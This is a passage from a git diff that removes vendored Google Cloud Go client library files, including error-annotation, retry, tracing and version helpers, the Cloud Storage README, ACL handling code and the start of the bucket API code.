the Policy. -func (p *Policy) Roles() []RoleName { - if p.InternalProto == nil { - return nil - } - var rns []RoleName - for _, b := range p.InternalProto.Bindings { - rns = append(rns, RoleName(b.Role)) - } - return rns -} - -// binding returns the Binding for the suppied role, or nil if there isn't one. -func (p *Policy) binding(r RoleName) *pb.Binding { - i := p.bindingIndex(r) - if i < 0 { - return nil - } - return p.InternalProto.Bindings[i] -} - -func (p *Policy) bindingIndex(r RoleName) int { - if p.InternalProto == nil { - return -1 - } - for i, b := range p.InternalProto.Bindings { - if b.Role == string(r) { - return i - } - } - return -1 -} - -// memberIndex returns the index of m in b's Members, or -1 if not found. -func memberIndex(m string, b *pb.Binding) int { - if b == nil { - return -1 - } - for i, mm := range b.Members { - if mm == m { - return i - } - } - return -1 -} - -// insertMetadata inserts metadata into the given context -func insertMetadata(ctx context.Context, mds ...metadata.MD) context.Context { - out, _ := metadata.FromOutgoingContext(ctx) - out = out.Copy() - for _, md := range mds { - for k, v := range md { - out[k] = append(out[k], v...) - } - } - return metadata.NewOutgoingContext(ctx, out) -} diff --git a/vendor/cloud.google.com/go/internal/annotate.go b/vendor/cloud.google.com/go/internal/annotate.go deleted file mode 100644 index 6435695ba3..0000000000 --- a/vendor/cloud.google.com/go/internal/annotate.go +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright 2017 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal - -import ( - "fmt" - - "google.golang.org/api/googleapi" - "google.golang.org/grpc/status" -) - -// Annotate prepends msg to the error message in err, attempting -// to preserve other information in err, like an error code. -// -// Annotate panics if err is nil. -// -// Annotate knows about these error types: -// - "google.golang.org/grpc/status".Status -// - "google.golang.org/api/googleapi".Error -// If the error is not one of these types, Annotate behaves -// like -// fmt.Errorf("%s: %v", msg, err) -func Annotate(err error, msg string) error { - if err == nil { - panic("Annotate called with nil") - } - if s, ok := status.FromError(err); ok { - p := s.Proto() - p.Message = msg + ": " + p.Message - return status.ErrorProto(p) - } - if g, ok := err.(*googleapi.Error); ok { - g.Message = msg + ": " + g.Message - return g - } - return fmt.Errorf("%s: %v", msg, err) -} - -// Annotatef uses format and args to format a string, then calls Annotate. -func Annotatef(err error, format string, args ...interface{}) error { - return Annotate(err, fmt.Sprintf(format, args...)) -} diff --git a/vendor/cloud.google.com/go/internal/optional/optional.go b/vendor/cloud.google.com/go/internal/optional/optional.go deleted file mode 100644 index 72780f764c..0000000000 --- a/vendor/cloud.google.com/go/internal/optional/optional.go +++ /dev/null @@ -1,108 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package optional provides versions of primitive types that can -// be nil. These are useful in methods that update some of an API object's -// fields. -package optional - -import ( - "fmt" - "strings" - "time" -) - -type ( - // Bool is either a bool or nil. - Bool interface{} - - // String is either a string or nil. - String interface{} - - // Int is either an int or nil. - Int interface{} - - // Uint is either a uint or nil. - Uint interface{} - - // Float64 is either a float64 or nil. - Float64 interface{} - - // Duration is either a time.Duration or nil. - Duration interface{} -) - -// ToBool returns its argument as a bool. -// It panics if its argument is nil or not a bool. -func ToBool(v Bool) bool { - x, ok := v.(bool) - if !ok { - doPanic("Bool", v) - } - return x -} - -// ToString returns its argument as a string. -// It panics if its argument is nil or not a string. -func ToString(v String) string { - x, ok := v.(string) - if !ok { - doPanic("String", v) - } - return x -} - -// ToInt returns its argument as an int. -// It panics if its argument is nil or not an int. -func ToInt(v Int) int { - x, ok := v.(int) - if !ok { - doPanic("Int", v) - } - return x -} - -// ToUint returns its argument as a uint. -// It panics if its argument is nil or not a uint. -func ToUint(v Uint) uint { - x, ok := v.(uint) - if !ok { - doPanic("Uint", v) - } - return x -} - -// ToFloat64 returns its argument as a float64. -// It panics if its argument is nil or not a float64. -func ToFloat64(v Float64) float64 { - x, ok := v.(float64) - if !ok { - doPanic("Float64", v) - } - return x -} - -// ToDuration returns its argument as a time.Duration. -// It panics if its argument is nil or not a time.Duration. -func ToDuration(v Duration) time.Duration { - x, ok := v.(time.Duration) - if !ok { - doPanic("Duration", v) - } - return x -} - -func doPanic(capType string, v interface{}) { - panic(fmt.Sprintf("optional.%s value should be %s, got %T", capType, strings.ToLower(capType), v)) -} diff --git a/vendor/cloud.google.com/go/internal/retry.go b/vendor/cloud.google.com/go/internal/retry.go deleted file mode 100644 index 7a7b4c2052..0000000000 --- a/vendor/cloud.google.com/go/internal/retry.go +++ /dev/null @@ -1,54 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package internal - -import ( - "context" - "time" - - gax "github.com/googleapis/gax-go/v2" -) - -// Retry calls the supplied function f repeatedly according to the provided -// backoff parameters. It returns when one of the following occurs: -// When f's first return value is true, Retry immediately returns with f's second -// return value. -// When the provided context is done, Retry returns with an error that -// includes both ctx.Error() and the last error returned by f. -func Retry(ctx context.Context, bo gax.Backoff, f func() (stop bool, err error)) error { - return retry(ctx, bo, f, gax.Sleep) -} - -func retry(ctx context.Context, bo gax.Backoff, f func() (stop bool, err error), - sleep func(context.Context, time.Duration) error) error { - var lastErr error - for { - stop, err := f() - if stop { - return err - } - // Remember the last "real" error from f. - if err != nil && err != context.Canceled && err != context.DeadlineExceeded { - lastErr = err - } - p := bo.Pause() - if cerr := sleep(ctx, p); cerr != nil { - if lastErr != nil { - return Annotatef(lastErr, "retry failed with %v; last error", cerr) - } - return cerr - } - } -} diff --git a/vendor/cloud.google.com/go/internal/trace/trace.go b/vendor/cloud.google.com/go/internal/trace/trace.go deleted file mode 100644 index 66dc391166..0000000000 --- a/vendor/cloud.google.com/go/internal/trace/trace.go +++ /dev/null @@ -1,109 +0,0 @@ -// Copyright 2018 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package trace - -import ( - "context" - "fmt" - - "go.opencensus.io/trace" - "google.golang.org/api/googleapi" - "google.golang.org/genproto/googleapis/rpc/code" - "google.golang.org/grpc/status" -) - -// StartSpan adds a span to the trace with the given name. -func StartSpan(ctx context.Context, name string) context.Context { - ctx, _ = trace.StartSpan(ctx, name) - return ctx -} - -// EndSpan ends a span with the given error. -func EndSpan(ctx context.Context, err error) { - span := trace.FromContext(ctx) - if err != nil { - span.SetStatus(toStatus(err)) - } - span.End() -} - -// toStatus interrogates an error and converts it to an appropriate -// OpenCensus status. -func toStatus(err error) trace.Status { - if err2, ok := err.(*googleapi.Error); ok { - return trace.Status{Code: httpStatusCodeToOCCode(err2.Code), Message: err2.Message} - } else if s, ok := status.FromError(err); ok { - return trace.Status{Code: int32(s.Code()), Message: s.Message()} - } else { - return trace.Status{Code: int32(code.Code_UNKNOWN), Message: err.Error()} - } -} - -// TODO(deklerk): switch to using OpenCensus function when it becomes available. -// Reference: https://github.com/googleapis/googleapis/blob/26b634d2724ac5dd30ae0b0cbfb01f07f2e4050e/google/rpc/code.proto -func httpStatusCodeToOCCode(httpStatusCode int) int32 { - switch httpStatusCode { - case 200: - return int32(code.Code_OK) - case 499: - return int32(code.Code_CANCELLED) - case 500: - return int32(code.Code_UNKNOWN) // Could also be Code_INTERNAL, Code_DATA_LOSS - case 400: - return int32(code.Code_INVALID_ARGUMENT) // Could also be Code_OUT_OF_RANGE - case 504: - return int32(code.Code_DEADLINE_EXCEEDED) - case 404: - return int32(code.Code_NOT_FOUND) - case 409: - return int32(code.Code_ALREADY_EXISTS) // Could also be Code_ABORTED - case 403: - return int32(code.Code_PERMISSION_DENIED) - case 401: - return int32(code.Code_UNAUTHENTICATED) - case 429: - return int32(code.Code_RESOURCE_EXHAUSTED) - case 501: - return int32(code.Code_UNIMPLEMENTED) - case 503: - return int32(code.Code_UNAVAILABLE) - default: - return int32(code.Code_UNKNOWN) - } -} - -// TODO: (odeke-em): perhaps just pass around spans due to the cost -// incurred from using trace.FromContext(ctx) yet we could avoid -// throwing away the work done by ctx, span := trace.StartSpan. -func TracePrintf(ctx context.Context, attrMap map[string]interface{}, format string, args ...interface{}) { - var attrs []trace.Attribute - for k, v := range attrMap { - var a trace.Attribute - switch v := v.(type) { - case string: - a = trace.StringAttribute(k, v) - case bool: - a = trace.BoolAttribute(k, v) - case int: - a = trace.Int64Attribute(k, int64(v)) - case int64: - a = trace.Int64Attribute(k, v) - default: - a = trace.StringAttribute(k, fmt.Sprintf("%#v", v)) - } - attrs = append(attrs, a) - } - trace.FromContext(ctx).Annotatef(attrs, format, args...) -} diff --git a/vendor/cloud.google.com/go/internal/version/update_version.sh b/vendor/cloud.google.com/go/internal/version/update_version.sh deleted file mode 100644 index d7c5a3e219..0000000000 --- a/vendor/cloud.google.com/go/internal/version/update_version.sh +++ /dev/null @@ -1,19 +0,0 @@ -#!/bin/bash -# Copyright 2019 Google LLC -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -today=$(date +%Y%m%d) - -sed -i -r -e 's/const Repo = "([0-9]{8})"/const Repo = "'$today'"/' $GOFILE - diff --git a/vendor/cloud.google.com/go/internal/version/version.go b/vendor/cloud.google.com/go/internal/version/version.go deleted file mode 100644 index d291921b18..0000000000 --- a/vendor/cloud.google.com/go/internal/version/version.go +++ /dev/null @@ -1,71 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -//go:generate ./update_version.sh - -// Package version contains version information for Google Cloud Client -// Libraries for Go, as reported in request headers. -package version - -import ( - "runtime" - "strings" - "unicode" -) - -// Repo is the current version of the client libraries in this -// repo. It should be a date in YYYYMMDD format. -const Repo = "20190802" - -// Go returns the Go runtime version. The returned string -// has no whitespace. -func Go() string { - return goVersion -} - -var goVersion = goVer(runtime.Version()) - -const develPrefix = "devel +" - -func goVer(s string) string { - if strings.HasPrefix(s, develPrefix) { - s = s[len(develPrefix):] - if p := strings.IndexFunc(s, unicode.IsSpace); p >= 0 { - s = s[:p] - } - return s - } - - if strings.HasPrefix(s, "go1") { - s = s[2:] - var prerelease string - if p := strings.IndexFunc(s, notSemverRune); p >= 0 { - s, prerelease = s[:p], s[p:] - } - if strings.HasSuffix(s, ".") { - s += "0" - } else if strings.Count(s, ".") < 2 { - s += ".0" - } - if prerelease != "" { - s += "-" + prerelease - } - return s - } - return "" -} - -func notSemverRune(r rune) bool { - return !strings.ContainsRune("0123456789.", r) -} diff --git a/vendor/cloud.google.com/go/storage/README.md b/vendor/cloud.google.com/go/storage/README.md deleted file mode 100644 index a2253c4bb5..0000000000 --- a/vendor/cloud.google.com/go/storage/README.md +++ /dev/null @@ -1,32 +0,0 @@ -## Cloud Storage [![GoDoc](https://godoc.org/cloud.google.com/go/storage?status.svg)](https://godoc.org/cloud.google.com/go/storage) - -- [About Cloud Storage](https://cloud.google.com/storage/) -- [API documentation](https://cloud.google.com/storage/docs) -- [Go client documentation](https://godoc.org/cloud.google.com/go/storage) -- [Complete sample programs](https://github.com/GoogleCloudPlatform/golang-samples/tree/master/storage) - -### Example Usage - -First create a `storage.Client` to use throughout your application: - -[snip]:# (storage-1) -```go -client, err := storage.NewClient(ctx) -if err != nil { - log.Fatal(err) -} -``` - -[snip]:# (storage-2) -```go -// Read the object1 from bucket. -rc, err := client.Bucket("bucket").Object("object1").NewReader(ctx) -if err != nil { - log.Fatal(err) -} -defer rc.Close() -body, err := ioutil.ReadAll(rc) -if err != nil { - log.Fatal(err) -} -``` \ No newline at end of file diff --git a/vendor/cloud.google.com/go/storage/acl.go b/vendor/cloud.google.com/go/storage/acl.go deleted file mode 100644 index 7855d110ad..0000000000 --- a/vendor/cloud.google.com/go/storage/acl.go +++ /dev/null @@ -1,335 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "net/http" - "reflect" - - "cloud.google.com/go/internal/trace" - "google.golang.org/api/googleapi" - raw "google.golang.org/api/storage/v1" -) - -// ACLRole is the level of access to grant. -type ACLRole string - -const ( - RoleOwner ACLRole = "OWNER" - RoleReader ACLRole = "READER" - RoleWriter ACLRole = "WRITER" -) - -// ACLEntity refers to a user or group. -// They are sometimes referred to as grantees. -// -// It could be in the form of: -// "user-", "user-", "group-", "group-", -// "domain-" and "project-team-". -// -// Or one of the predefined constants: AllUsers, AllAuthenticatedUsers. -type ACLEntity string - -const ( - AllUsers ACLEntity = "allUsers" - AllAuthenticatedUsers ACLEntity = "allAuthenticatedUsers" -) - -// ACLRule represents a grant for a role to an entity (user, group or team) for a -// Google Cloud Storage object or bucket. -type ACLRule struct { - Entity ACLEntity - EntityID string - Role ACLRole - Domain string - Email string - ProjectTeam *ProjectTeam -} - -// ProjectTeam is the project team associated with the entity, if any. -type ProjectTeam struct { - ProjectNumber string - Team string -} - -// ACLHandle provides operations on an access control list for a Google Cloud Storage bucket or object. -type ACLHandle struct { - c *Client - bucket string - object string - isDefault bool - userProject string // for requester-pays buckets -} - -// Delete permanently deletes the ACL entry for the given entity. -func (a *ACLHandle) Delete(ctx context.Context, entity ACLEntity) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.ACL.Delete") - defer func() { trace.EndSpan(ctx, err) }() - - if a.object != "" { - return a.objectDelete(ctx, entity) - } - if a.isDefault { - return a.bucketDefaultDelete(ctx, entity) - } - return a.bucketDelete(ctx, entity) -} - -// Set sets the role for the given entity. -func (a *ACLHandle) Set(ctx context.Context, entity ACLEntity, role ACLRole) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.ACL.Set") - defer func() { trace.EndSpan(ctx, err) }() - - if a.object != "" { - return a.objectSet(ctx, entity, role, false) - } - if a.isDefault { - return a.objectSet(ctx, entity, role, true) - } - return a.bucketSet(ctx, entity, role) -} - -// List retrieves ACL entries. -func (a *ACLHandle) List(ctx context.Context) (rules []ACLRule, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.ACL.List") - defer func() { trace.EndSpan(ctx, err) }() - - if a.object != "" { - return a.objectList(ctx) - } - if a.isDefault { - return a.bucketDefaultList(ctx) - } - return a.bucketList(ctx) -} - -func (a *ACLHandle) bucketDefaultList(ctx context.Context) ([]ACLRule, error) { - var acls *raw.ObjectAccessControls - var err error - err = runWithRetry(ctx, func() error { - req := a.c.raw.DefaultObjectAccessControls.List(a.bucket) - a.configureCall(ctx, req) - acls, err = req.Do() - return err - }) - if err != nil { - return nil, err - } - return toObjectACLRules(acls.Items), nil -} - -func (a *ACLHandle) bucketDefaultDelete(ctx context.Context, entity ACLEntity) error { - return runWithRetry(ctx, func() error { - req := a.c.raw.DefaultObjectAccessControls.Delete(a.bucket, string(entity)) - a.configureCall(ctx, req) - return req.Do() - }) -} - -func (a *ACLHandle) bucketList(ctx context.Context) ([]ACLRule, error) { - var acls *raw.BucketAccessControls - var err error - err = runWithRetry(ctx, func() error { - req := a.c.raw.BucketAccessControls.List(a.bucket) - a.configureCall(ctx, req) - acls, err = req.Do() - return err - }) - if err != nil { - return nil, err - } - return toBucketACLRules(acls.Items), nil -} - -func (a *ACLHandle) bucketSet(ctx context.Context, entity ACLEntity, role ACLRole) error { - acl := &raw.BucketAccessControl{ - Bucket: a.bucket, - Entity: string(entity), - Role: string(role), - } - err := runWithRetry(ctx, func() error { - req := a.c.raw.BucketAccessControls.Update(a.bucket, string(entity), acl) - a.configureCall(ctx, req) - _, err := req.Do() - return err - }) - if err != nil { - return err - } - return nil -} - -func (a *ACLHandle) bucketDelete(ctx context.Context, entity ACLEntity) error { - return runWithRetry(ctx, func() error { - req := a.c.raw.BucketAccessControls.Delete(a.bucket, string(entity)) - a.configureCall(ctx, req) - return req.Do() - }) -} - -func (a *ACLHandle) objectList(ctx context.Context) ([]ACLRule, error) { - var acls *raw.ObjectAccessControls - var err error - err = runWithRetry(ctx, func() error { - req := a.c.raw.ObjectAccessControls.List(a.bucket, a.object) - a.configureCall(ctx, req) - acls, err = req.Do() - return err - }) - if err != nil { - return nil, err - } - return toObjectACLRules(acls.Items), nil -} - -func (a *ACLHandle) objectSet(ctx context.Context, entity ACLEntity, role ACLRole, isBucketDefault bool) error { - type setRequest interface { - Do(opts ...googleapi.CallOption) (*raw.ObjectAccessControl, error) - Header() http.Header - } - - acl := &raw.ObjectAccessControl{ - Bucket: a.bucket, - Entity: string(entity), - Role: string(role), - } - var req setRequest - if isBucketDefault { - req = a.c.raw.DefaultObjectAccessControls.Update(a.bucket, string(entity), acl) - } else { - req = a.c.raw.ObjectAccessControls.Update(a.bucket, a.object, string(entity), acl) - } - a.configureCall(ctx, req) - return runWithRetry(ctx, func() error { - _, err := req.Do() - return err - }) -} - -func (a *ACLHandle) objectDelete(ctx context.Context, entity ACLEntity) error { - return runWithRetry(ctx, func() error { - req := a.c.raw.ObjectAccessControls.Delete(a.bucket, a.object, string(entity)) - a.configureCall(ctx, req) - return req.Do() - }) -} - -func (a *ACLHandle) configureCall(ctx context.Context, call interface{ Header() http.Header }) { - vc := reflect.ValueOf(call) - vc.MethodByName("Context").Call([]reflect.Value{reflect.ValueOf(ctx)}) - if a.userProject != "" { - vc.MethodByName("UserProject").Call([]reflect.Value{reflect.ValueOf(a.userProject)}) - } - setClientHeader(call.Header()) -} - -func toObjectACLRules(items []*raw.ObjectAccessControl) []ACLRule { - var rs []ACLRule - for _, item := range items { - rs = append(rs, toObjectACLRule(item)) - } - return rs -} - -func toBucketACLRules(items []*raw.BucketAccessControl) []ACLRule { - var rs []ACLRule - for _, item := range items { - rs = append(rs, toBucketACLRule(item)) - } - return rs -} - -func toObjectACLRule(a *raw.ObjectAccessControl) ACLRule { - return ACLRule{ - Entity: ACLEntity(a.Entity), - EntityID: a.EntityId, - Role: ACLRole(a.Role), - Domain: a.Domain, - Email: a.Email, - ProjectTeam: toObjectProjectTeam(a.ProjectTeam), - } -} - -func toBucketACLRule(a *raw.BucketAccessControl) ACLRule { - return ACLRule{ - Entity: ACLEntity(a.Entity), - EntityID: a.EntityId, - Role: ACLRole(a.Role), - Domain: a.Domain, - Email: a.Email, - ProjectTeam: toBucketProjectTeam(a.ProjectTeam), - } -} - -func toRawObjectACL(rules []ACLRule) []*raw.ObjectAccessControl { - if len(rules) == 0 { - return nil - } - r := make([]*raw.ObjectAccessControl, 0, len(rules)) - for _, rule := range rules { - r = append(r, rule.toRawObjectAccessControl("")) // bucket name unnecessary - } - return r -} - -func toRawBucketACL(rules []ACLRule) []*raw.BucketAccessControl { - if len(rules) == 0 { - return nil - } - r := make([]*raw.BucketAccessControl, 0, len(rules)) - for _, rule := range rules { - r = append(r, rule.toRawBucketAccessControl("")) // bucket name unnecessary - } - return r -} - -func (r ACLRule) toRawBucketAccessControl(bucket string) *raw.BucketAccessControl { - return &raw.BucketAccessControl{ - Bucket: bucket, - Entity: string(r.Entity), - Role: string(r.Role), - // The other fields are not settable. - } -} - -func (r ACLRule) toRawObjectAccessControl(bucket string) *raw.ObjectAccessControl { - return &raw.ObjectAccessControl{ - Bucket: bucket, - Entity: string(r.Entity), - Role: string(r.Role), - // The other fields are not settable. - } -} - -func toBucketProjectTeam(p *raw.BucketAccessControlProjectTeam) *ProjectTeam { - if p == nil { - return nil - } - return &ProjectTeam{ - ProjectNumber: p.ProjectNumber, - Team: p.Team, - } -} - -func toObjectProjectTeam(p *raw.ObjectAccessControlProjectTeam) *ProjectTeam { - if p == nil { - return nil - } - return &ProjectTeam{ - ProjectNumber: p.ProjectNumber, - Team: p.Team, - } -} diff --git a/vendor/cloud.google.com/go/storage/bucket.go b/vendor/cloud.google.com/go/storage/bucket.go deleted file mode 100644 index 07c470d3e0..0000000000 --- a/vendor/cloud.google.com/go/storage/bucket.go +++ /dev/null @@ -1,1195 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "fmt" - "net/http" - "reflect" - "time" - - "cloud.google.com/go/internal/optional" - "cloud.google.com/go/internal/trace" - "google.golang.org/api/googleapi" - "google.golang.org/api/iterator" - raw "google.golang.org/api/storage/v1" -) - -// BucketHandle provides operations on a Google Cloud Storage bucket. -// Use Client.Bucket to get a handle. -type BucketHandle struct { - c *Client - name string - acl ACLHandle - defaultObjectACL ACLHandle - conds *BucketConditions - userProject string // project for Requester Pays buckets -} - -// Bucket returns a BucketHandle, which provides operations on the named bucket. -// This call does not perform any network operations. -// -// The supplied name must contain only lowercase letters, numbers, dashes, -// underscores, and dots. The full specification for valid bucket names can be -// found at: -// https://cloud.google.com/storage/docs/bucket-naming -func (c *Client) Bucket(name string) *BucketHandle { - return &BucketHandle{ - c: c, - name: name, - acl: ACLHandle{ - c: c, - bucket: name, - }, - defaultObjectACL: ACLHandle{ - c: c, - bucket: name, - isDefault: true, - }, - } -} - -// Create creates the Bucket in the project. -// If attrs is nil the API defaults will be used. -func (b *BucketHandle) Create(ctx context.Context, projectID string, attrs *BucketAttrs) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.Create") - defer func() { trace.EndSpan(ctx, err) }() - - var bkt *raw.Bucket - if attrs != nil { - bkt = attrs.toRawBucket() - } else { - bkt = &raw.Bucket{} - } - bkt.Name = b.name - // If there is lifecycle information but no location, explicitly set - // the location. This is a GCS quirk/bug. - if bkt.Location == "" && bkt.Lifecycle != nil { - bkt.Location = "US" - } - req := b.c.raw.Buckets.Insert(projectID, bkt) - setClientHeader(req.Header()) - if attrs != nil && attrs.PredefinedACL != "" { - req.PredefinedAcl(attrs.PredefinedACL) - } - if attrs != nil && attrs.PredefinedDefaultObjectACL != "" { - req.PredefinedDefaultObjectAcl(attrs.PredefinedDefaultObjectACL) - } - return runWithRetry(ctx, func() error { _, err := req.Context(ctx).Do(); return err }) -} - -// Delete deletes the Bucket. -func (b *BucketHandle) Delete(ctx context.Context) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.Delete") - defer func() { trace.EndSpan(ctx, err) }() - - req, err := b.newDeleteCall() - if err != nil { - return err - } - return runWithRetry(ctx, func() error { return req.Context(ctx).Do() }) -} - -func (b *BucketHandle) newDeleteCall() (*raw.BucketsDeleteCall, error) { - req := b.c.raw.Buckets.Delete(b.name) - setClientHeader(req.Header()) - if err := applyBucketConds("BucketHandle.Delete", b.conds, req); err != nil { - return nil, err - } - if b.userProject != "" { - req.UserProject(b.userProject) - } - return req, nil -} - -// ACL returns an ACLHandle, which provides access to the bucket's access control list. -// This controls who can list, create or overwrite the objects in a bucket. -// This call does not perform any network operations. -func (b *BucketHandle) ACL() *ACLHandle { - return &b.acl -} - -// DefaultObjectACL returns an ACLHandle, which provides access to the bucket's default object ACLs. -// These ACLs are applied to newly created objects in this bucket that do not have a defined ACL. -// This call does not perform any network operations. -func (b *BucketHandle) DefaultObjectACL() *ACLHandle { - return &b.defaultObjectACL -} - -// Object returns an ObjectHandle, which provides operations on the named object. -// This call does not perform any network operations. -// -// name must consist entirely of valid UTF-8-encoded runes. The full specification -// for valid object names can be found at: -// https://cloud.google.com/storage/docs/bucket-naming -func (b *BucketHandle) Object(name string) *ObjectHandle { - return &ObjectHandle{ - c: b.c, - bucket: b.name, - object: name, - acl: ACLHandle{ - c: b.c, - bucket: b.name, - object: name, - userProject: b.userProject, - }, - gen: -1, - userProject: b.userProject, - } -} - -// Attrs returns the metadata for the bucket. -func (b *BucketHandle) Attrs(ctx context.Context) (attrs *BucketAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.Attrs") - defer func() { trace.EndSpan(ctx, err) }() - - req, err := b.newGetCall() - if err != nil { - return nil, err - } - var resp *raw.Bucket - err = runWithRetry(ctx, func() error { - resp, err = req.Context(ctx).Do() - return err - }) - if e, ok := err.(*googleapi.Error); ok && e.Code == http.StatusNotFound { - return nil, ErrBucketNotExist - } - if err != nil { - return nil, err - } - return newBucket(resp) -} - -func (b *BucketHandle) newGetCall() (*raw.BucketsGetCall, error) { - req := b.c.raw.Buckets.Get(b.name).Projection("full") - setClientHeader(req.Header()) - if err := applyBucketConds("BucketHandle.Attrs", b.conds, req); err != nil { - return nil, err - } - if b.userProject != "" { - req.UserProject(b.userProject) - } - return req, nil -} - -// Update updates a bucket's attributes. -func (b *BucketHandle) Update(ctx context.Context, uattrs BucketAttrsToUpdate) (attrs *BucketAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.Create") - defer func() { trace.EndSpan(ctx, err) }() - - req, err := b.newPatchCall(&uattrs) - if err != nil { - return nil, err - } - if uattrs.PredefinedACL != "" { - req.PredefinedAcl(uattrs.PredefinedACL) - } - if uattrs.PredefinedDefaultObjectACL != "" { - req.PredefinedDefaultObjectAcl(uattrs.PredefinedDefaultObjectACL) - } - // TODO(jba): retry iff metagen is set? - rb, err := req.Context(ctx).Do() - if err != nil { - return nil, err - } - return newBucket(rb) -} - -func (b *BucketHandle) newPatchCall(uattrs *BucketAttrsToUpdate) (*raw.BucketsPatchCall, error) { - rb := uattrs.toRawBucket() - req := b.c.raw.Buckets.Patch(b.name, rb).Projection("full") - setClientHeader(req.Header()) - if err := applyBucketConds("BucketHandle.Update", b.conds, req); err != nil { - return nil, err - } - if b.userProject != "" { - req.UserProject(b.userProject) - } - return req, nil -} - -// BucketAttrs represents the metadata for a Google Cloud Storage bucket. -// Read-only fields are ignored by BucketHandle.Create. -type BucketAttrs struct { - // Name is the name of the bucket. - // This field is read-only. - Name string - - // ACL is the list of access control rules on the bucket. - ACL []ACLRule - - // BucketPolicyOnly configures access checks to use only bucket-level IAM - // policies. - BucketPolicyOnly BucketPolicyOnly - - // DefaultObjectACL is the list of access controls to - // apply to new objects when no object ACL is provided. - DefaultObjectACL []ACLRule - - // DefaultEventBasedHold is the default value for event-based hold on - // newly created objects in this bucket. It defaults to false. - DefaultEventBasedHold bool - - // If not empty, applies a predefined set of access controls. It should be set - // only when creating a bucket. - // It is always empty for BucketAttrs returned from the service. - // See https://cloud.google.com/storage/docs/json_api/v1/buckets/insert - // for valid values. - PredefinedACL string - - // If not empty, applies a predefined set of default object access controls. - // It should be set only when creating a bucket. - // It is always empty for BucketAttrs returned from the service. - // See https://cloud.google.com/storage/docs/json_api/v1/buckets/insert - // for valid values. - PredefinedDefaultObjectACL string - - // Location is the location of the bucket. It defaults to "US". - Location string - - // MetaGeneration is the metadata generation of the bucket. - // This field is read-only. - MetaGeneration int64 - - // StorageClass is the default storage class of the bucket. This defines - // how objects in the bucket are stored and determines the SLA - // and the cost of storage. Typical values are "MULTI_REGIONAL", - // "REGIONAL", "NEARLINE", "COLDLINE", "STANDARD" and - // "DURABLE_REDUCED_AVAILABILITY". Defaults to "STANDARD", which - // is equivalent to "MULTI_REGIONAL" or "REGIONAL" depending on - // the bucket's location settings. - // - // "DURABLE_REDUCED_AVAILABILITY", "MULTI_REGIONAL" and "REGIONAL" - // are considered legacy storage classes. - StorageClass string - - // Created is the creation time of the bucket. - // This field is read-only. - Created time.Time - - // VersioningEnabled reports whether this bucket has versioning enabled. - VersioningEnabled bool - - // Labels are the bucket's labels. - Labels map[string]string - - // RequesterPays reports whether the bucket is a Requester Pays bucket. - // Clients performing operations on Requester 